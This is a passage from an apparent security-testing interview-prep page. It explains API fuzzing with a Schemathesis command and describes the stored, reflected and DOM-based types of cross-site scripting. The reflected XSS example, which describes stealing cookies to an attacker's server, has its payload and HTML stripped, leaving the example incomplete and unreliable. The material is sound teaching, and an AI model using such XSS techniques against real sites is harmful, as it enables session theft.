endpoint and expected parameter types) and feeds it to a fuzzer like Schemathesis or RESTler, which then generates thousands of variations per endpoint — wrong types, boundary values (empty strings, max-int, negative numbers where positive is expected), and malformed encodings — and flags any request that returns a 500 error, times out, or violates the spec's own defined response schema.\n\n```bash\nschemathesis run --url https://staging.api.com --checks all openapi.json\n```\n\nA 500 error from a fuzzed request doesn't automatically mean a security vulnerability — a lot of fuzzing findings are just unhandled edge cases and stability bugs — but any unhandled crash on attacker-reachable input is worth triaging, since exactly this class of 'the server didn't expect this input' bug is what many real memory-safety and injection vulnerabilities look like at the surface level before deeper investigation."}},{"@type":"Question","name":"What is Cross-Site Scripting (XSS) and what are its three main types?","acceptedAnswer":{"@type":"Answer","text":"Cross-Site Scripting (XSS) is a vulnerability where an attacker manages to get their own JavaScript code to run inside a victim's browser, on a website the victim trusts. It happens when a web application takes user input and displays it back on a page without properly cleaning or encoding it first — so instead of showing harmless text, the browser ends up executing it as real code. Once that script runs, it runs with the same access the real page has, so it can steal the victim's session cookie, read whatever is on the page, or silently perform actions as if the victim clicked them.\n\nThere are three main types, and they differ in where the malicious script actually lives. Stored XSS is the most dangerous: the attacker's script gets saved on the server (say, inside a blog comment or a user profile 'bio' field) and then gets served to every single visitor who views that page, with no extra effort from the attacker after the initial post. Reflected XSS is not saved anywhere — it travels inside the request itself (commonly a URL parameter) and only affects the one person who is tricked into clicking a malicious link, since the server just echoes that input straight back into the response. DOM-based XSS is a bit different again: the vulnerable code lives entirely in client-side JavaScript, which takes some untrusted value (like `location.hash`) and unsafely writes it into the page (e.g. via `innerHTML`), so the server may never even see the malicious payload at all.\n\nA simple real-world example of reflected XSS: imagine a search page at `https://shop.com/search?q=shoes` that displays 'Results for: shoes' by copying the `q` parameter directly into the HTML. If an attacker instead sends a link with `q=`, and the page doesn't escape that input, the victim's browser runs the script the moment the page loads and sends their cookie off to the attacker's server.\n\n```html\n\n

Results for:

\n```\n\nThe standard fix testers check for is proper output encoding (turning `<` into `<`, etc., based on where the data lands) so the input is always rendered as plain text on the page, never as executable code — that single behavior change is what a good security test is really verifying."}}]}
51+ Real Questions

Security Testing Interview Questions & Answers

Commonly-asked and hard-to-find Security Testing interview questions, each with a clear, example-based answer.

Practice These Live with AI

Showing 1–10 of 51

Ready to practice these live?

Start a Free Security Testing Mock Interview